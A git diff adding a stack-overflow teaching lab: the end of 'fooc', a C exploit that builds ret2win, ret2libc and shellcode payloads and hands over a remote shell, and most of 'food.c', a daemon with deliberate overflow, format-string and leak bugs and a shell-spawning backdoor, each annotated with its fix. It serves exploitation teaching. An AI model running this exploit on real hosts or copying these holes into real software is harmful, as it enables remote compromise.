OVERFLOW DEMO -- prove the bug without needing a working target address. + * + * Send exactly rip_off + 8 bytes of 0x41. That fills the buffer, fills the + * saved frame pointer, and replaces the return address with + * 0x4141414141414141 -- an address that is certainly not mapped. The CPU + * jumps there, takes a page fault, and the kernel kills the process with + * SIGSEGV. + * + * If this reliably kills `food` while a 64-byte payload does not, you have + * demonstrated the vulnerability and the offset calculation in one shot. + */ +static void build_demo(struct pbuf *p, const struct bininfo *bi) +{ + pbuf_pad(p, bi->rip_off + 8); +} + +/* ------------------------------------------------------------------------- */ +/* main() */ +/* ------------------------------------------------------------------------- */ + +static void usage(const char *a0) +{ + printf( +"fooc -- exploit for the intentionally vulnerable daemon 'food'\n" +"\n" +"usage: %s [options]\n" +"\n" +" -h HOST target address (default %s)\n" +" -p PORT target port (default %d)\n" +" -b PATH target binary to analyse (default %s)\n" +" -t TECH technique:\n" +" ret2win jump to win() in the target [default]\n" +" ret2libc call system(\"/bin/sh\") in libc\n" +" shellcode run our own execve() shellcode\n" +" sled ret sled + shellcode (no leak; ~always fails)\n" +" demo overflow with junk only, expect SIGSEGV\n" +" leak just print the leaks, send no payload\n" +" -i drop into an interactive shell after the payload lands\n" +" (default for ret2win/ret2libc/shellcode)\n" +" -n do NOT become a shell; just send the payload and report\n" +" -v verbose: dump the payload and every address\n" +"\n" +"examples:\n" +" %s -t leak # see what food tells us\n" +" %s -t demo -v # prove the overflow exists\n" +" %s -t ret2win -i # easiest working shell\n" +" %s -t ret2libc -i # call libc's system()\n" +" %s -t shellcode -i # run raw machine code\n" +"\n" +"Only point -h at a machine you own or are authorised to test.\n", + a0, FOOC_HOST, FOOC_PORT, FOOC_BIN, a0, a0, a0, a0, a0); +} + +int main(int argc, char **argv) +{ + const char *host = FOOC_HOST; /* -h */ + const char *binpath = FOOC_BIN; /* -b */ + const char *tech = "ret2win"; /* -t */ + int port = FOOC_PORT; /* -p */ + int verbose = 0; /* -v */ + int want_shell = -1; /* -i / -n */ + int fd; /* The socket to the victim. */ + int o; /* getopt() index. */ + struct bininfo bi; /* What we learned from the binary. */ + struct libcinfo li; /* What we learned from libc. */ + struct leaks lk; /* What the victim told us. */ + struct pbuf p = { NULL, 0, 0 }; /* The payload under construction. */ + char rx[RECV_MAX]; /* Banner + leak text. */ + int is_leak = 0; /* -t leak: diagnostics only. */ + + while ((o = getopt(argc, argv, ":h:p:b:t:inv")) != -1) { + switch (o) { + case 'h': host = optarg; break; + case 'p': port = atoi(optarg); break; + case 'b': binpath = optarg; break; + case 't': tech = optarg; break; + case 'i': want_shell = 1; break; + case 'n': want_shell = 0; break; + case 'v': verbose = 1; break; + default: usage(argv[0]); return 2; + } + } + + /* ---- Phase 1: learn everything we can without touching the network. -- */ + if (analyse_binary(binpath, &bi) < 0) + return 1; + + if (analyse_libc(&li) < 0) + return 1; + + printf("fooc: target binary : %s\n", binpath); + printf("fooc: vulnerable_handler = %#lx\n", bi.vuln_addr); + printf("fooc: win() = %#lx\n", bi.win_addr); + /* rbp_off_as_signed is negative on purpose: the buffer sits *below* rbp. + * Negating an unsigned long would wrap around and print as 18446744073..., + * so convert to a signed type first, then let printf show the minus. */ + long rbp_off_as_signed = -(long)bi.frame_off; + printf("fooc: buf is at rbp%+ld, so the saved RIP is %lu bytes in\n", + rbp_off_as_signed, bi.rip_off); + printf("fooc: ret gadget = %#lx\n", bi.ret_gadget); + printf("fooc: our libc base = %#lx (system @ %#lx, \"/bin/sh\" @ %#lx)\n", + li.base, li.off_system, li.off_binsh); + + /* ---- Decide whether we want an interactive shell by default. -------- */ + if (strcmp(tech, "demo") == 0 || strcmp(tech, "leak") == 0) { + is_leak = (strcmp(tech, "leak") == 0); + if (want_shell == -1) want_shell = 0; + } else if (want_shell == -1) { + want_shell = 1; /* The point of an exploit is a shell. */ + } + + /* ---- Phase 2: connect and read what the daemon tells us. ------------- */ + fd = connect_to(host, port); + if (fd < 0) + return 1; + + /* + * Wait for every leak, including in `leak` mode. It is tempting to settle + * for just "stack=" and "libc=" there, but BUF= is emitted last, so + * stopping as soon as the first two appear would routinely return before + * it has arrived -- and a partially-read banner is a classic source of + * "works on my machine" exploit flakiness. + */ + { + const char *pats[3] = { "stack=", "libc=", "BUF=" }; + if (read_until(fd, pats, 3, rx, sizeof(rx)) < 0) + fprintf(stderr, "fooc: warning: incomplete banner/leak text\n"); + } + + printf("fooc: daemon said:\n----\n%s----\n", rx); + + if (parse_leaks(rx, &lk) < 0) { + close(fd); + return 1; + } + + printf("fooc: leaked stack ptr = %#lx\n", lk.stack); + printf("fooc: leaked libc read = %#lx\n", lk.libc_read); + printf("fooc: leaked buf = %#lx\n", lk.buf); + + if (is_leak) { + /* Diagnostic mode: we learned what we came to learn, stop here. */ + printf("fooc: leak mode -- not sending a payload.\n"); + close(fd); + return 0; + } + + /* ---- Phase 3: build the payload. ----------------------------------- */ + if (strcmp(tech, "ret2win") == 0) build_ret2win(&p, &bi); + else if (strcmp(tech, "ret2libc") == 0) build_ret2libc(&p, &bi, &li, &lk); + else if (strcmp(tech, "shellcode") == 0) build_shellcode(&p, &bi, &lk); + else if (strcmp(tech, "sled") == 0) build_sled(&p, &bi, &lk); + else if (strcmp(tech, "demo") == 0) build_demo(&p, &bi); + else { + fprintf(stderr, "fooc: unknown technique '%s'\n", tech); + close(fd); + return 2; + } + + if (p.len == 0) { + fprintf(stderr, "fooc: payload is empty -- aborting\n"); + close(fd); + return 1; + } + + if (verbose) { + printf("fooc: payload is %zu bytes; the last 16 are:\n ", p.len); + size_t start = p.len > 16 ? p.len - 16 : 0; + for (size_t i = start; i < p.len; i++) + printf("%02x ", p.data[i]); + printf("\n"); + } + + /* + * ------------------------------------------------------------------ + * STACK ALIGNMENT -- the subtlest bug in this whole lab + * ------------------------------------------------------------------ + * + * SYMPTOM: the hijack lands correctly (gdb shows you sitting in win()), and + * then the very first thing win() does -- a dprintf() -- dies. The SIGSEGV + * reports RIP deep inside libc's formatter and a faulting address of + * (nil), which is deeply misleading: it looks like a corrupted pointer. + * + * CAUSE: the System V AMD64 ABI requires 16-byte stack alignment. A + * normal `ret` restores %rsp to precisely the value saved by its matching + * `call`, so the invariant is preserved for free. Our bare `ret` does not: + * after it, %rsp = buf + rip_off. Here buf is 16-byte aligned (the ABI + * guarantees local arrays are) and rip_off is 88, so we hand the callee a + * stack that is 8 mod 16 -- misaligned. + * + * glibc is compiled with SSE2, and instructions like movaps/movdqa *fault* + * on a misaligned operand. On x86 an alignment violation raises #GP, not + * #PF, so the kernel has no faulting address to report and fills in + * si_addr = 0. That NULL address is the tell: an alignment fault dressed up + * as a NULL dereference. + * + * FIX: one `ret` gadget. A ret adds exactly 8 to %rsp, which is exactly + * what is needed here: + * + * [ padding ][ ret ][ real target ] + * ^ + * on entry to the real target, %rsp = buf + rip_off + 8 = 16-aligned + * + * A stray `ret` that looks like a mistake is nearly always deliberate. + * + * (With CET enabled the shadow stack would fault on that second ret + * instead, which is one of the specific things CET is built to stop.) + * ------------------------------------------------------------------ + */ + if (strcmp(tech, "demo") == 0 || strcmp(tech, "sled") == 0) { + /* + * Neither lands in a real callee that expects an aligned stack: + * `demo` jumps to a deliberately invalid address, and `sled` only + * ever executes bare `ret` instructions. So skip the alignment fix. + */ + } else if (bi.ret_gadget != 0 && (bi.rip_off % 16) == 8) { + /* + * We need %rsp to be 16-byte aligned on entry to the real target. + * %rsp = buf + rip_off on entry, buf is 16-aligned, and rip_off is 88, + * so we are 8 mod 16 and need exactly one extra `ret` (each ret adds + * 8). If rip_off were 0 mod 16 we would instead be already aligned and + * this extra ret would BREAK the payload -- the condition matters in + * both directions. + * + * ORDERING IS CRITICAL. The builders above have already written + * [ padding | target | ... ] with the target sitting at rip_off. + * Appending here would produce [ padding | target | ret ], where the + * very first `ret` returns to `target` and the trailing `ret` is never + * reached -- the fix silently does nothing. (That was the first + * version of this code, and the crash it failed to fix looked + * identical to having no fix at all.) + * + * The `ret` therefore has to be *inserted at rip_off*, shifting the + * real target up by 8 bytes. + */ + unsigned char *fixed; + size_t head = bi.rip_off; /* Bytes before the target address. */ + + if (head > p.len) { + fprintf(stderr, "fooc: payload is shorter than rip_off\n"); + free(p.data); + close(fd); + return 1; + } + + /* Build the corrected buffer: everything up to rip_off, then the + * `ret` gadget, then the original target and any trailing payload. */ + fixed = malloc(p.len + 8); + if (fixed == NULL) { + fprintf(stderr, "fooc: out of memory building alignment fix\n"); + free(p.data); + close(fd); + return 1; + } + memcpy(fixed, p.data, head); /* the padding */ + memcpy(fixed + head, &bi.ret_gadget, 8); /* the extra `ret` */ + memcpy(fixed + head + 8, p.data + head, p.len - head); /* the real tgt */ + + free(p.data); + p.data = fixed; + p.cap = p.len + 8; + p.len += 8; + + printf("fooc: inserted a `ret` (at %#lx) at offset %lu to restore " + "16-byte alignment\n", bi.ret_gadget, head); + } + + /* ---- Phase 4: send it and hand over. -------------------------------- */ + printf("fooc: sending %zu bytes (offset to RIP is %lu)\n", p.len, bi.rip_off); + if (send_all(fd, p.data, p.len) < 0) { + fprintf(stderr, "fooc: send failed: %s\n", strerror(errno)); + close(fd); + return 1; + } + + free(p.data); + + if (!want_shell) { + /* Give the victim a moment to act on the payload, then show anything + * it said. This is how you observe the `demo` technique's SIGSEGV. */ + usleep(400000); + drain_hint(fd); + printf("fooc: done (no shell requested)\n"); + close(fd); + return 0; + } + + /* The daemon echoes the first 64 bytes of our payload back at us before + * it returns. Swallow that so it does not look like shell output. */ + usleep(200000); + drain_hint(fd); + + become_shell(fd); /* Relays this terminal to the victim until it ends. */ + + return 0; +} diff --git a/food.c b/food.c new file mode 100644 index 0000000..e570c39 --- /dev/null +++ b/food.c @@ -0,0 +1,853 @@ +/* + * ============================================================================ + * food.c -- "food": an INTENTIONALLY VULNERABLE network daemon + * ============================================================================ + * + * PURPOSE + * ------- + * This is a deliberately broken TCP daemon used as a *target* for the + * companion exploit `fooc`. It exists so you can learn, hands-on, what a + * stack buffer overflow actually is, how it is abused to get remote code + * execution (RCE), and -- most importantly -- how each of its bugs maps onto + * a concrete, well-known defence that a real program should use instead. + * + * NOTHING HERE IS SAFE. Every "vulnerability" in this file is a real, + * long-documented class of C bug: + * + * Bug #1 Unbounded read() into a fixed stack buffer .... CWE-120 + * Bug #2 Unchecked format string from the network ..... CWE-134 + * Bug #3 Use of attacker-controlled data as a path ... CWE-22 + * Bug #4 Stack canary would have caught Bug #1 ......... CWE-121 + * Bug #5 NX bit would have stopped shellcode ........... CWE-94 + * Bug #6 PIE/ASLR would have randomised the targets .... CWE-829 + * + * The comments next to each bug name the fix. That mapping is the entire + * point of the exercise. + * + * SAFETY RAILS (please keep them in place while you experiment) + * ------------------------------------------------------------ + * * It binds to 127.0.0.1 (loopback) by default, so the deliberately + * exploitable service is NOT reachable from your network. + * * It runs in the foreground with a banner so you can watch it die. + * * Each connection is handled in a forked child, so one crash does not + * take the daemon down. + * + * Build: make food + * + * THE BUILD IS THE POINT, PART 1 + * ------------------------------ + * `make food` compiles this file with three flags that a sane project would + * never use, each switched off on purpose so the lab behaves the same way on + * every machine: + * + * -fno-stack-protector no stack canary + * -no-pie fixed load address, so win() is a constant + * -z execstack executable stack, so shellcode can run + * + * Drop any one of them and the corresponding technique stops working. That is + * not a flaw in the exploit; that is the defence being demonstrated. The + * Makefile's `make hardened` target builds the same source WITHOUT all three, + * and `make test-hardened` shows you which techniques it kills. + * + * Note that -z execstack is the reason `./fooc -t shellcode` works at all. A + * stock Linux stack is not executable (`rw-p` in /proc/PID/maps, and `RWE` in + * the ELF program headers only when this flag is present), and the shellcode + * technique dies with SIGSEGV at RIP = the address of the payload. Everything + * in README.md's mitigation table explains why that flag matters to you. + * + * Usage: ./food [-h HOST] [-p PORT] [-d] + * ============================================================================ + */ + +/* Ask glibc for the extra declarations we need (dprintf, etc.). */ +#define _GNU_SOURCE + +#include /* inet_pton(), to turn "127.0.0.1" into bytes. */ +#include /* errno and the strerror() family. */ +#include /* dup2(), used to hand the socket to the shell. */ +#include /* struct sockaddr_in, htons(), the TCP address. */ +#include /* signal(), SIGPIPE / SIGCHLD handling. */ +#include /* va_list, needed by our own tiny printf wrapper. */ +#include /* uint16_t, the fixed-width type htons() returns. */ +#include /* printf, dprintf, fputs. */ +#include /* exec*, _exit, atoi. */ +#include /* memset, strncpy, strlen, memchr. */ +#include /* socket(), bind(), listen(), accept(). */ +#include /* umask(). */ +#include /* ssize_t, pid_t. */ +#include /* ucontext_t, REG_RIP: the saved CPU registers. */ +#include /* waitpid(), for reaping children. */ +#include /* read, write, close, dup2, getpid, fork, chdir, + * getopt -- the POSIX workhorses. */ + +/* ------------------------------------------------------------------------- */ +/* Configuration constants */ +/* ------------------------------------------------------------------------- */ + +/* Default TCP port. Not privileged (>1024), so no root is required. */ +#define FOOD_PORT 2342 + +/* Loopback only, on purpose. Change with -h if you really know better. */ +#define FOOD_HOST "127.0.0.1" + +/* Size of the stack buffer in vulnerable_handler(). This is the value the + * exploit has to fill *plus* 8 bytes of saved frame pointer before it can + * reach the return address. Do not change it without re-running the exploit's + * automatic offset detection, which reads it from this binary. */ +#define FOOD_BUFSZ 64 + +/* How many bytes the vulnerable read() is willing to accept. This is much + * larger than FOOD_BUFSZ on purpose -- that mismatch IS the vulnerability. */ +#define FOOD_READMAX 512 + +/* Size of the (also broken) log line buffer used by the format-string demo. */ +#define FOOD_LOGSZ 128 + +/* ------------------------------------------------------------------------- */ +/* Tiny helpers */ +/* ------------------------------------------------------------------------- */ + +/* + * g_logfd -- the descriptor logmsg() writes to. + * + * It begins life as a duplicate of the real stdout, taken *before* + * prepare_client_fds() replaces fd 1 with the client's socket. The point is + * that the server's log must never travel to the attacker. + * + * This is not cosmetic. If the daemon had kept logging to fd 1, then the + * moment a client connected, every log line -- including file paths, internal + * hostnames, and in a real system any credential that ever reached a log -- + * would be delivered to whoever happened to be on the other end of the socket. + * Keeping diagnostics on a separate, trusted descriptor is a genuine security + * practice, and a lab about exploiting a daemon would be a poor place to + * accidentally teach the alternative. + */ +static int g_logfd = -1; + +/* + * logmsg() -- print one timestamped line to the log descriptor. + * + * (Deliberately NOT named `logf`: that collides with the libm builtin + * `float logf(float)`, and GCC warns about it. Naming your own helpers after + * standard library functions is a surprisingly common source of pain.) + * + * We use dprintf() rather than printf() because we need to write to a specific + * descriptor, and because it is close to atomic: one write() call means two + * forked children cannot interleave halfway through a line. + */ +static void logmsg(const char *fmt, ...) +{ + char line[1024]; /* Compose the whole message in one buffer. */ + va_list ap; /* The argument list of this variadic call. */ + int n; /* Bytes composed. */ + + /* + * va_start MUST be called before the va_list is used. It initialises `ap` + * to point just past `fmt` in the argument area. Passing an uninitialised + * va_list to vsnprintf makes it walk wild stack memory and crash -- which + * is exactly what happened the first time this function was written. + * + * va_end is mandatory once va_start has been called, even on error paths. + */ + va_start(ap, fmt); + + /* Format the body first, into the tail of the buffer, leaving room for + * the "[food 1234] " prefix and the trailing newline. */ + n = vsnprintf(line, sizeof(line) - 32, fmt, ap); + va_end(ap); /* Always pair va_start with va_end. */ + if (n < 0) + return; + + /* Prepend the pid. Knowing which forked child did what is what makes the + * per-connection log readable. */ + if (g_logfd >= 0) + dprintf(g_logfd, "[food %d] %s\n", (int)getpid(), line); +} + +/* + * read_exact() -- read exactly n bytes, looping until we have them all. + * + * This helper is *correct*. The bug in this program is not here. + * + * It is included deliberately, so you can compare it against vulnerable_handler() + * below. The difference between the two functions is, essentially, the whole + * lesson: this one asks for `n` bytes and checks it got them; the other asks + * for far more than its buffer can hold and never checks. + * + * Why it matters: read() on a socket is allowed to return a short count (it + * is a stream, not a message queue). A correct program must loop. The + * vulnerable function below deliberately does not do this correctly either. + */ +__attribute__((unused)) /* Referenced in comments only, so silence the + * -Wunused-function warning deliberately. */ +static ssize_t read_exact(int fd, void *buf, size_t n) +{ + size_t got = 0; /* Bytes received so far. */ + while (got < n) { /* Keep going until the full request. */ + ssize_t r = read(fd, (char *)buf + got, n - got); + if (r < 0) { /* r < 0 means an error occurred. */ + if (errno == EINTR) /* Interrupted by a signal: just retry. */ + continue; + return -1; + } + if (r == 0) /* Peer closed the connection. */ + break; + got += (size_t)r; /* Otherwise bank the bytes. */ + } + return (ssize_t)got; /* Return total bytes actually read. */ +} + +/* + * write_all() -- write a whole buffer, looping over short writes. + * Also correct. Exists so the exploit's I/O is not the flaky part of the lab. + */ +static ssize_t write_all(int fd, const void *buf, size_t n) +{ + size_t sent = 0; + while (sent < n) { + ssize_t w = write(fd, (const char *)buf + sent, n - sent); + if (w <= 0) { + if (w < 0 && errno == EINTR) + continue; + return -1; + } + sent += (size_t)w; + } + return (ssize_t)sent; +} + +/* ------------------------------------------------------------------------- */ +/* The ret2win target */ +/* ------------------------------------------------------------------------- */ + +/* + * win() -- the "backdoor" function that ret2win aims at. + * + * A ret2win exploit works by overwriting the saved return address with the + * address of a function that (a) is already in the binary and (b) does + * something useful to the attacker. Here, that is "hand me a shell". + * + * The *presence* of win() is not itself the vulnerability -- shipping a hidden + * "debug backdoor" like this is a real and sadly common self-inflicted wound + * (it is exactly the CVE class "undocumented backdoor", e.g. the Juniper + * ScreenOS backdoors). But in this lab it exists purely as an easy, reliable + * first target so you can prove code execution before reaching for shellcode. + * + * noinline: the compiler must not inline this away, or the exploit would have + * no address to jump to. + * used: keeps the function alive even though we never call it in C. + */ +__attribute__((noinline, used)) +static void win(void) +{ + pid_t pid; /* Child's PID after the fork below. */ + + logmsg("win() reached -- executing /bin/sh"); + + /* + * Note the signature: win() deliberately takes NO arguments, and that is + * the whole point rather than an oversight. + * + * A ret2win exploit overwrites only the saved *return address*. Every + * other register holds whatever the vulnerable function happened to leave + * behind, and the attacker has no control over any of them. An earlier + * revision of this function took an `int fd` parameter, and gdb showed the + * exploit apparently landing while actually passing garbage in rdi + * (-11073), which made every dup2() fail and the "shell" go nowhere. + * Depending on an incoming argument is the most common reason a + * ret2win-style exploit looks like it works and then silently does nothing. + * + * We do not need the argument: prepare_client_fds() has already made + * fds 0, 1 and 2 refer to the client's socket, so the shell can simply + * use the standard descriptors. + */ + + /* + * Fork before exec so the parent can reap the child and go away, while + * the child keeps talking to the client. Without this the daemon would + * stay busy until the shell exits. + */ + pid = fork(); + if (pid < 0) { + logmsg("win(): fork() failed: %s", strerror(errno)); + _exit(1); + } + if (pid > 0) { /* Parent: reap the child, then bail out. */ + waitpid(pid, NULL, 0); + /* + * _exit, NOT return. Returning would execute `ret` a second time, + * popping the next 8 bytes of attacker payload as a new RIP and + * crashing immediately. Exiting is the only safe way out of a + * function that was entered by hijacking a return address. + */ + _exit(0); + } + + /* + * Child. stdin/stdout/stderr already point at the socket (see + * prepare_client_fds), so there is nothing to rewire here. + * + * Dropping privileges is deliberately absent: in a real system this is + * exactly where you would setuid()/setgid() to an unprivileged user + * before exec. A backdoor that hands out a root shell is what turns an + * ordinary memory-safety bug into a full compromise. + */ + execl("/bin/sh", "sh", (char *)NULL); /* Does not return on success. */ + _exit(127); /* Only if exec failed. */ +} + +/* ------------------------------------------------------------------------- */ +/* The vulnerable handler -- Bug #1 and Bug #2 live here */ +/* ------------------------------------------------------------------------- */ + +/* + * noinline: mandatory for a stack-overflow lab. If the compiler inlines this + * into its caller, the stack frame the exploit is aiming at changes + * and the whole exercise stops making sense. + * used: do not let the optimiser delete it. + */ +__attribute__((noinline, used)) +static void vulnerable_handler(int fd) +{ + char buf[FOOD_BUFSZ]; /* 64 bytes of stack. The whole ballgame. */ + char line[FOOD_LOGSZ]; /* Second, larger buffer for the format bug. */ + ssize_t n; /* Byte count returned by read(). */ + + /* + * ------------------------------------------------------------------ + * The buffer-address leak, done on purpose, inside this function. + * ------------------------------------------------------------------ + * We hand the client the exact address of `buf` *before* it overflows + * anything. Without this the client is shooting blind at a randomised + * stack, and you would need either a lucky guess or a "ret sled" + * thousands of ret-instructions wide. + * + * Where do real-world leaks of this kind come from? All of these are + * genuine, frequently-seen CWE-200 / CWE-497 bugs: + * + * * a format string bug printing %p (our Bug #2 above does this), + * * returning or serialising a pointer that was never initialised + * (CWE-457, use of uninitialised variable -- a very common way to + * turn a mere crash into a full info leak), + * * a verbose crash handler or core dump served to the client, + * * a debug endpoint left enabled, or /proc/self/maps over HTTP, + * * a non-randomised fixed-address mmap(), or a non-PIE binary, + * which is precisely why the Makefile here builds with -no-pie. + * + * The real lesson: address-space layout randomisation is only a + * *speed bump*. It raises the cost of an exploit; it is not a fix. The + * fix is not having the memory corruption in the first place. + * + * FIX: do not disclose addresses to untrusted clients, and initialise + * every pointer before you might print it. + */ + dprintf(fd, "BUF=%p\n", (void *)buf); + + /* + * ==================================================================== + * BUG #1 -- UNBOUNDED COPY INTO A FIXED STACK BUFFER (CWE-120) + * ==================================================================== + * + * This single read() call is the entire exploit surface: + * + * we have FOOD_BUFSZ = 64 bytes of room + * we accept FOOD_READMAX = 512 bytes from the network + * + * The attacker therefore gets to write 448 bytes more than they should, + * and everything laid out on the stack above `buf` gets clobbered. + * + * In a compiled x86-64 function the stack grows *downwards*, so memory + * looks like this, with rbp pointing at the saved frame pointer: + * + * high addresses + * +------------------------+ <- rbp + 16 : caller locals + * | ... | + * +------------------------+ <- rbp + 8 : SAVED RETURN ADDRESS <-- RIP + * | saved rbp (8 bytes) | + * +------------------------+ <- rbp : our frame pointer + * | line[128] | (second buffer, padding) + * | buf[64] | <- rsp: what read() will fill + * +------------------------+ + * low addresses + * + * So the attacker writes 64 bytes of junk to fill `buf`, another 8 bytes + * to fill the saved rbp, and the *next* 8 bytes become the return address + * that the `ret` instruction pops into RIP. From that moment the attacker + * decides where the CPU executes next. + * + * FIXES, in increasing order of strength: + * 1. Bound every read by the true size of the destination: + * n = read(fd, buf, sizeof(buf) - 1); <-- the real fix + * 2. Compile with -fstack-protector-strong so a *canary* sits between + * the buffers and the return address; `ret` then aborts first. + * 3. Compile with -fstack-protector-all (covers locals that a plain + * -O2 might have kept in registers). + * 4. Real root cause: do not use fixed-size stack arrays for input at + * all. Use heap allocation sized from a checked length, or a + * stdio-style bounded reader. + * + * NOTE: modern GCC detects *this exact shape* at compile time and warns + * ("writing 512 bytes into a region of size 64"). Never suppress that + * warning in real code -- it is free security. + */ + n = read(fd, buf, FOOD_READMAX); /* <-- CWE-120, THE bug. */ + if (n <= 0) + return; /* Nothing to do. */ + + /* + * Echo back what we received, truncated to the buffer's real size so that + * *this* line is safe. It is here purely so you can watch the overflow + * happen live in the log. Truncating for display does NOT undo the + * overwrite that already happened above. + */ + { + ssize_t show = n < FOOD_BUFSZ ? n : FOOD_BUFSZ; /* clamp for log. */ + logmsg("vulnerable_handler: read %zd bytes, echoing %zd", n, show); + (void)write_all(fd, buf, (size_t)show); + } + + /* + * ==================================================================== + * BUG #2 -- NETWORK DATA USED AS A FORMAT STRING (CWE-134) + * ==================================================================== + * + * `buf` is fully attacker-controlled. Passing it to printf() as the + * *format* rather than as a %s *argument* lets the attacker supply their + * own conversion specifiers: %x to read stack words, %n to *write* to + * memory, %s to walk arbitrary pointers. A %n here is a write-what-where + * primitive, which is another way to build an exploit. + * + * FIX: never pass untrusted data as the format string. Use + * printf("%s", buf); or better, fwrite()/write() of a length. + * + * We keep this as a *demonstration only* -- it runs on a copy in `line` + * so the crash it causes is obviously separate from Bug #1. The payload + * you send by default is plain text with no '%' characters, so this line + * is a no-op unless you explicitly ask for the format-string demo with + * the `fooc --fmt` mode. + */ + if (memchr(buf, '%', (size_t)n) != NULL) { + snprintf(line, sizeof(line), "%.*s", (int)FOOD_LOGSZ - 1, buf); + logmsg("vulnerable_handler: payload contains '%%', echoing it raw"); + (void)write_all(fd, line, strlen(line)); /* safe echo of raw text. */ + } + + /* + * When this function returns, the CPU pops the (attacker-controlled) + * saved return address into RIP and jumps wherever the attacker chose. + * The `leave` + `ret` pair in the generated assembly is the exact + * instruction that hands over control. + */ +} + +/* ------------------------------------------------------------------------- */ +/* fd handling */ +/* ------------------------------------------------------------------------- */ + +/* + * on_sigsegv() -- print exactly where the CPU was trying to go. + * + * This handler exists purely to make the exploit *visible*. When the overflow + * lands, the CPU jumps to an address we chose; that address is almost always + * unmapped, the CPU raises SIGSEGV, and this handler runs. + * + * Two facts come out of the kernel for free: + * + * * ucontext->uc_mcontext.gregs[REG_RIP] is the address of the instruction + * the CPU was executing, i.e. the value of the instruction pointer at the + * moment of the fault. If we clobbered the return address, THIS is our + * eight bytes. It is the most direct possible proof that the attacker + * controls RIP. + * * siginfo->si_addr is the bad address the access was aimed at. + * + * Both are read out of the ucontext_t that the kernel hands us, which is why + * this needs and _GNU_SOURCE. + * + * A production server absolutely should catch SIGSEGV like this -- not to keep + * serving, but to log the fault address so that a crash *tells you it was + * malicious*. Crashing silently is what makes these bugs survive for years. + */ +static void on_sigsegv(int sig, siginfo_t *si, void *ucv) +{ + ucontext_t *uc = (ucontext_t *)ucv; /* The CPU's saved register state. */ + unsigned long rip = 0; + unsigned long rsp = 0; + + if (uc != NULL) { + rip = (unsigned long)uc->uc_mcontext.gregs[REG_RIP]; + rsp = (unsigned long)uc->uc_mcontext.gregs[REG_RSP]; + } + + logmsg("SIGSEGV: faulting address %p", si ? si->si_addr : (void *)0); + logmsg("SIGSEGV: RIP=%#lx RSP=%#lx", rip, rsp); + logmsg("SIGSEGV: RIP is the return address the client supplied. " + "If it is 0x4141414141414141, that is our 'A' padding. " + "If it looks like a real code or libc address, we were hijacked."); + + /* + * Re-raise with the default disposition so the process still dies with the + * correct status and still dumps core. A handler that swallowed the + * signal and returned would re-execute the faulting instruction forever, + * because the bad address has not been fixed -- an easy way to turn one + * crash into an unkillable hang. + */ + signal(sig, SIG_DFL); + raise(sig); +} + +/* + * install_crash_reporter() -- attach on_sigsegv() to this process. + * + * Called in the forked child, so installing it is cheap and affects only the + * process serving one connection. The parent keeps its default dispositions + * and is therefore not slowed by signal handling. + */ +static void install_crash_reporter(void) +{ + struct sigaction sa; /* The action structure sigaction() wants. */ + + memset(&sa, 0, sizeof(sa)); + sa.sa_sigaction = on_sigsegv; /* The extended handler form. */ + sa.sa_flags = SA_SIGINFO; /* "...and pass me the siginfo_t." */ + + /* An empty sigset means "block nothing extra while in the handler". */ + sigemptyset(&sa.sa_mask); + + if (sigaction(SIGSEGV, &sa, NULL) < 0) + logmsg("sigaction(SIGSEGV) failed: %s", strerror(errno)); + if (sigaction(SIGBUS, &sa, NULL) < 0) /* Misaligned access, same idea. */ + logmsg("sigaction(SIGBUS) failed: %s", strerror(errno)); +} + +/* + * prepare_client_fds() -- point fds 0, 1 and 2 at the accepted socket. + * + * Doing this once, up front, is what lets every exploitation technique in + * `fooc` work identically: + * + * * ret2win -> win() execs /bin/sh with fds 0-2 already on the socket. + * * ret2libc -> system("/bin/sh") likewise inherits the socket. + * * shellcode -> execve("/bin/sh") likewise inherits the socket. + * + * so whichever payload lands, the resulting shell talks straight back to the + * attacker over the network. + */ +static void prepare_client_fds(int fd) +{ + if (fd != STDIN_FILENO) dup2(fd, STDIN_FILENO); + if (fd != STDOUT_FILENO) dup2(fd, STDOUT_FILENO); + if (fd != STDERR_FILENO) dup2(fd, STDERR_FILENO); + if (fd > STDERR_FILENO) close(fd); /* Don't leak the spare descriptor.*/ +} + +/* ------------------------------------------------------------------------- */ +/* The information leak -- Bug #3 lives here (this one is a feature in the lab)*/ +/* ------------------------------------------------------------------------- */ + +/* + * send_leaks() -- hand the attacker two pointers, on purpose. + * + * This models two *real* vulnerability classes, and it is what makes the + * "hard" techniques (ret2libc, shellcode) deterministic instead of a + * probability game: + * + * Leak A: a STACK address (the address of a local variable). + * Real-world analogue: CWE-200 / CWE-497 "exposure of sensitive + * information to an unauthorized actor" -- a debug endpoint, a verbose + * error page, a crash dump, a /proc/self/maps file served over HTTP. + * With it, the attacker learns exactly where their shellcode landed. + * + * Leak B: a LIBC address (the real address of `read`, resolved by the PLT + * trampoline into libc). + * Real-world analogue: the same, plus a classic function-pointer leak. + * With it, the attacker computes the load address of libc and therefore + * the addresses of `system` and of the "/bin/sh" string inside it. + * + * FIX for the daemon: do not print addresses to untrusted clients, and do + * not leave debug endpoints enabled in production builds. + * + * The text format is deliberately simple so the exploit can parse it with a + * one-line sscanf(): + * + * "FOOD 1.0 leak stack=0x libc=0x\n" + */ +static void send_leaks(int fd) +{ + long stack_marker = 0; /* A local; its address reveals the stack base.*/ + /* + * The *exact* type of `read` as declared in . Getting this + * signature wrong is a compile error in C (and a far worse bug in C++), + * which is a nice reminder that the type system is a security tool: + * + * ssize_t read(int fd, void *buf, size_t nbytes); + * + * We store it in a variable only so we can print its value as a leak. + */ + ssize_t (*libc_read)(int, void *, size_t); /* Real libc `read` fn ptr. */ + + /* + * Taking the address of a local is the leak. Compilers must honour this + * (it is observable behaviour), so it cannot be optimised away. + */ + stack_marker = 0x4141414141414141L; /* Make it obvious in a debugger.*/ + + /* + * `&read` is not the PLT stub once the dynamic linker has run: the GOT + * holds the true address inside libc, so this yields a genuine libc + * pointer. That is what makes leak B useful for ret2libc. + */ + libc_read = &read; + + /* + * 0644 octal = "rw-r--r--", the conventional permission bits for a file. + * %p prints a pointer in the implementation-defined but universally + * "0x..." form on glibc/x86-64. + */ + dprintf(fd, "FOOD 1.0 leak stack=%p libc=%p\n", + (void *)&stack_marker, (void *)libc_read); +} + +/* ------------------------------------------------------------------------- */ +/* Per-connection handling */ +/* ------------------------------------------------------------------------- */ + +/* + * handle_client() -- do everything for one connected attacker. + * + * Runs in the forked child. Its job: + * 1. Send a banner and the two leaks. + * 2. Call the vulnerable function, which will be overflowed. + * 3. Never return to the accept loop: if the overflow missed, exit cleanly; + * if it hit, we never come back at all -- the CPU is somewhere else now. + */ +static void handle_client(int fd) +{ + static const char banner[] = + "FOOD 1.0 - deliberately 